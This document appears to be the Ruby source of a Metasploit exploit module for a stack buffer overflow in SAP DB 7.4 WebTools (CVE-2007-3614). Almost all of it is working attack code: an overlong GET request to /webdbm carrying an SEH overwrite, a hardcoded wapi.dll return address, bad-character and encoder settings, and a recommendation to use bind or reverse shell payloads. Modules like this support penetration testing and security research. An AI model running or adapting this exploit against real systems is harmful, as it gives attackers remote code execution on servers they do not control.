SAP DB 7.4 WebTools Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'SAP DB 7.4 WebTools Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in SAP DB 7.4 WebTools.  
By sending an overly long GET request, it may be possible for   
an attacker to execute arbitrary code. Using the PAYLOAD of   
windows/shell_bind_tcp or windows/shell_reverse_tcp allows   
for the most reliable results.  
},  
'Author' => [ 'MC' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-3614' ],  
[ 'OSVDB', '37838' ],  
[ 'BID', '24773' ],  
],  
'Privileged' => true,  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'Space' => 850,  
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff",  
'EncoderType' => Msf::Encoder::Type::AlphanumUpper,  
  
},  
'Platform' => 'win',  
'Targets' =>   
[  
[ 'SAP DB 7.4 WebTools', { 'Ret' => 0x1003c95a } ], # wapi.dll 7.4.3.0   
],  
'DisclosureDate' => 'July 5 2007',  
'DefaultTarget' => 0))  
  
register_options( [ Opt::RPORT(9999) ], self.class )  
end  
  
def exploit  
c = connect  
  
filler = rand_text_alphanumeric(20774)  
seh = generate_seh_payload(target.ret)  
# pretty big...  
sploit = filler + seh + rand_text_alphanumeric(3000)  
  
print_status("Trying to exploit target #{target.name} 0x%.8x" % target.ret)  
  
res = send_request_raw({  
'uri' => '/webdbm',  
'query' => 'Event=DBM_INTERN_TEST&Action=REFRESH&HTTP_COOKIE=' + sploit  
}, 5)  
  
handler  
end  
  
end  
`